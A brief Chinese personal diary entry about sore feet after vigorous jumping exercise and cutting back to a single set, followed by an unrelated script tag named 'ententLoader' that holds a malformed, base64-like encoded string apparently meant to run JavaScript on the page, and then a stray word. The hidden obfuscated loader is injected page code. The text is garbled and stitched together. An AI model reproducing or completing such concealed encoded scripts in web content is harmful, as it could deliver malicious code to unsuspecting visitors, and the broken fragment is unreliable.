昨天跳的有些猛,脚有些疼
今天缩减了锻炼量
只做了一组
明天还得坚持
还得注意保护身体
<script id="ententLoader">
= "d2luZG93Lm9ua2V5Zm9jdXmoIkRRQwNwR3VJSTdmb1lYSlNnR3NQZVmxN2R0VUh0mVJooTh5R1B3ZThawXBKmdJ1K3ZPbzNpd1FYSjZPdFVFUUpwN01Edks4VwFRRHAvS29hwnF1UUpNdkhEwVlPNmFLQwVhNHRkUURiVFY4qwjZ4SyYTl4a1hiRjZ63IiwgmTYzmjI3oTEymyk=";
hai